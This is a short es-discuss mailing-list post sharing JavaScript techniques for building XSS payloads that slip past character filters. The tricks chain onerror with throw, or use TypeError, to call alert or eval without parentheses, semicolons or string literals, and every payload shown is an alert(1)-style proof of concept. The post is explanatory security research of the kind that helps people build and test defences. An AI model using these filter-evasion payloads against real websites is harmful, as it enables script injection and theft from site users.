Hi all
I’ve been having fun with onerror and throw to call functions passing the
argument without using parentheses or template strings. It’s useful for XSS in
certain situations where you have a restricted amount of characters.
For example you can do the following:
```
onerror=alert;throw'XSS'
```
Then I saw a filter blocking semi-colon and I thought it would be fun to do the
same but without that. Because throw accepts an expression you can define the
onerror first and the use the last part of the expression to send the argument.
```
throw onerror = alert, 'some string', 123, 'haha'
```
Using a block statement you can also remove the need of the semi-colon.
```
{onerror=alert}throw 1
```
So then the next stage was to evaluate code, this can be done quite easily in
Chrome because it prefixes exceptions with Uncaught.
```
onerror=eval;throw'=alert\x281\x29'
```
But on Firefox it prefixes custom exceptions with a two word value which would
be invalid JavaScript so of course I tried to hack that and inspected the Error
object to see what properties it had. I constructed an object literal with the
same properies as the Error object and it worked! Then I just reduced the
properties until I found the minimal required.
```
{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:'',message:'alert\x281\x29'}
```
@terjanq came along and decided to remove all all the string literals and
produce a cool vector.
```
<script>throw/a/,a=URL+0,g=alert,onerror=eval,{lineNumber:1,columnNumber:1,fileName:0,message:0+/1/g+a[12]+[1337,331,337]+a[13]}</script>
```
Then Pepe Vila produced a cool vector that doesn’t even use throw at all. Using
type error to send the payload, nice!
```
TypeError.prototype.name='=/',0[onerror=eval]['/-alert(1)//']
```
That’s it we had lots of fun on Twitter with this hope you enjoyed me sharing
it.
Cheers
Gareth
_______________________________________________
es-discuss mailing list
[email protected]
https://mail.mozilla.org/listinfo/es-discuss